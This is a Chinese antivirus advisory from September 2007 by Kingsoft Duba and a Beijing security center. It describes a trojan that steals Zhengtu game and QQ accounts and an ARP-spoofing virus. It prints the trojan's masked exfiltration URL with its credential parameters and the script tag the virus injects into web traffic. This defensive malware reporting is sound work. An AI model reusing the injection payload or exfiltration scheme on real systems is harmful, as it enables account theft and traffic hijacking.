北京信息
安全测评中心、金山毒霸联合发布2007年9月14日热门
病毒。
金山毒霸每日
病毒预警 征途
盗号者(Win32.PSWTroj.OnlineGames.27136)这是一个
盗号木马 ARP欺骗者(Packes.MakePE.a)这是一个具有ARP欺骗
攻击的
病毒 一、征途
盗号者(Win32.PSWTroj.OnlineGames.27136) 威胁级别:★ 此
病毒运行后创建注册表启动项,以达到开机运行的作用,盗取客户计算机上的
网络游戏《征途》、
QQ、
QQ游戏的帐号信息。
1.判断
病毒文件upxdnd.dll是否注入到以下进程: zhengtu.dat qq.exe qqgame.exe
2.在客户计算机上创建事件51343281。 3.
病毒创建线程,通过查找窗口的方法关闭卡巴的警告窗口和瑞星注册表监控提示窗口。
4.指定的接收网址: hxxp://www.2**od.com/zt/get.php?srv=xx&id=xx&p=xx&s=xx&ss=xx&js=xx&gj=xx&dj=xx&yz=xx&jz=xx
二、ARP欺骗者(Packes.MakePE.a)威胁级别:★★
病毒运行后会复制自身至系统文件夹,然后释放
病毒文件,生成注册表启动项以开机运行。
病毒会向局域网80端口发送
病毒数据,修改网页
源码,下载大量隐蔽软件安装至用户计算机。
1.发送 ARP 欺骗
扫描局域网,劫持 172.16 192.10 10.0 开头的IP段,向发送至80端口的数据包中插入 <script language=javascript src= http://f****t.8**0.org/ad.js></script>
金山反
病毒工程师建议 1.最好安装专业的杀毒软件进行全面监控。建议用户安装反
病毒软件防止日益增多的
病毒,用户在安装反
病毒软件之后,应该经常进行升级、将一些主要监控经常打开(如邮件监控)、内存监控等,遇到问题要上报, 这样才能真正保障计算机的
安全。 2.玩
网络游戏、利用
QQ聊天的用户会有所增多,所以各类
盗号木马必将随之增多,建议用户一定要养成良好的网络使用习惯,及时升级杀毒软件,开启
防火墙以及实时监控等功能,切断
病毒传播的途径,不给
病毒以可乘之机。 金山毒霸反
病毒应急中心及时进行了
病毒库更新,升级毒霸到2007年9月14日的
病毒库即可查杀以上
病毒;如未安装金山毒霸,可以登录http://www.duba.net免费下载最新版金山毒霸2007或使用金山毒霸在线杀毒来防止
病毒入侵,拨打金山毒霸反
病毒急救电话010—82331816反
病毒专家将为您提供帮助。